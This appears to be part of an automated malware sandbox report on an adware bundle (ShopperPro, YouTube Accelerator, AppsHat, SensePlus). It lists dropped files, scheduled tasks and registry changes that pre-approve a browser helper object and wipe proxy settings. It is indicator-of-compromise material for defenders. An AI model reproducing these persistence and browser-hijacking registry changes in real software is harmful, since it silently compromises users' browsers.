C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ace33f0a1eddf74bbe8d1bfac70deded[1].png (12355 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\3d8bbea6bcae57d705c676f7050a7d51[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\414KB3X2.txt (225 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\7d4f668f3d1818d01b6b9684b669d0db[1].png (5680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\logo[1].jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\e94782c9200f8de809a50327879df1cc[1].png (22265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\da84c206c2019448521379d2ff837774[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\cc3148e57a2928cd1ada1bbea553c3c2[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\5.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\5dbc29649669598ff43174b9ee730008[1].png (3722 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\7e5817bad781bbc2d2e43b350ccb53db[1].png (6016 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\f4e4b853ddab3b763f0af17d513631bd[1].png (21227 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\bbbde9554589bda63791709a6785e0a3[1].png (10360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\442a5f30204dd385d17de5848683274f[1].png (14528 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\bg_main[1].jpg (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\589b1e936e1f038dc45bd8ffff59b359[1].png (17075 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\6a12dc1a298e870b610a58a56ba0f5ec[1].jpg (733 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\36d7cd00f07003a67021237993257d08[1].png (12700 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\23428f8768d928d2bd45dd3b0c4d0057[1].png (19593 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\style[1].css (181 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\4f263f4be4c4396c9078d1874c05b928[1].png (5640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\logo_illust[1].jpg (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\07fce0a4ff78cc7e6376e227f046ce06[1].png (38929 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\a64a4b5c68c364d30083fbd0b0363585[1].png (27241 bytes)

The process smt_istartsurf.exe:3324 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\quick_searchff#5.4.10.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\wpm_v20.0.0.1953_0302.exe (16944 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\XTab_Setup2121.exe (76650 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\conf (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\tmp\474.db (168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\eg1.zip (187725 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3324_smt_istartsurf.log (116763 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\QQBrowser.exe (5199 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\eg2.zip (208136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\QQBrowserFrame.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\sweetsearch!1.0.0.1031.xpi (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\images (4 bytes)

The process appshat.exe:884 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\xiwrlae.dll (2119 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\rypiyr.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\Mfuyqgtg.tmp (394440 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\zwqnxb.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi8F73.tmp\Bxaze.exe (2370079 bytes)

The process ins_shopperpro.exe:3096 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80F.tmp\setup.exe (1606835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80F.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80F.tmp\setup1.exe (144456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80E.tmp (154948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdE80F.tmp\D1958.dll (30 bytes)

The process Auajfs.exe:2484 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\301713 (93025 bytes)
%Program Files% (x86)\SensePlus\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-4.exe (9147 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3978.tmp (562500 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\hcwuy.dll (8 bytes)
%Program Files% (x86)\SensePlus\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\lxfxjtoab.dll (31236 bytes)
%Program Files% (x86)\SensePlus\utils.exe (79170 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\qvvshx.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\299078 (3509 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\kryenm.dll (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\exinfivx.dll (23 bytes)
%Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
C:\Windows\Tasks\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-5_user.job (74 bytes)
C:\Windows\Tasks\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-4.dll (37727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\xkvwnkajx.dll (14 bytes)
%Program Files% (x86)\SensePlus\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-5.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\vbgcpdhzf.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn39A7.tmp\gwulugj.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\ipgeoapi_com[1].json (40 bytes)

The process regsvr32.exe:3108 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (528 bytes)

The process regsvr32.exe:3588 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper64.dll (491 bytes)

The process regsvr32.exe:3568 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper.dll (409 bytes)

The process regsvr32.exe:4088 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (442 bytes)

The process lspinst.exe:3812 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (417 bytes)

The process lspinst.exe:3716 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (417 bytes)

The process webplayer_installer.exe:3804 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdBD08.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)

The process YTAHEL~1.EXE:3388 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF279.tmp (118586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\nsProcess.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\System.dll (23 bytes)

The process appshat_generic.exe:4076 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7B77.tmp\appshat.exe (796935 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7B77.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7B77.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7B76.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\setup[1].exe (747439 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn7B77.tmp\System.dll (23 bytes)

The process vlc.exe:4056 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.4056 (45012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.4056 (11109 bytes)

The process DCytaiesmt_smtyc_setup.exe:2444 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_sense.exe (46429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_yta.exe (28491 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_shopperpro.exe (17880 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_19625\ins_iwebar.exe (44751 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_740\DCytaiesmt_smtyc_setup.exe (7726 bytes)

The process DCytaiesmt_smtyc_setup.exe:1004 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_31878\DCytaiesmt_smtyc_setup.exe (7726 bytes)

The process cscript.exe:3916 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\64x64[1].ico (5319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)

The process spbiu.exe:3408 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process spbiu.exe:960 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process YouTubeAcceleratorService.exe:3128 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBC697.tmp (44 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3128.log (787 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBCFC67.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3128_YouTubeAcceleratorService.log (154743 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6725 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\Windows\Temp\SBC498.tmp (547 bytes)
C:\Windows\Temp\SBC58D.tmp (98 bytes)
C:\ProgramData\TEMP:56E2E879 (240 bytes)
C:\Windows\Temp\SBC280.tmp (44 bytes)
C:\Windows\Temp\SBC9F2.tmp (51193 bytes)
C:\Windows\Temp\SBC2D5B.tmp (547 bytes)

The process YouTubeAcceleratorService.exe:2728 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process INS_SENSE.EXE:928 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\gwulugj.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\inwksqy.dll (2102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\Faocllweg.tmp (355948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\exinfivx.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy337F.tmp\Auajfs.exe (2189130 bytes)

The process taskeng.exe:3764 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:2464 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE39.tmp (35697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\4D90EAE405E9E2FF (34773 bytes)

The process INS_IWEBAR.EXE:3804 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\Ktyvobm.exe (2193276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\exinfivx.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\gwulugj.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\Ljwwpw.tmp (358651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn30D0.tmp\inwksqy.dll (2102 bytes)

Registry activity

The process %original file name%.exe:2984 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe,"

The process ProtectService.exe:3952 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectService.exe:3988 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process YTAHelper.exe:3476 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"UserId" = "%%PIXGUID(aff=smtyc"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "7C 26 FE 43 AA 79 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"
"NoExplore" = "1"

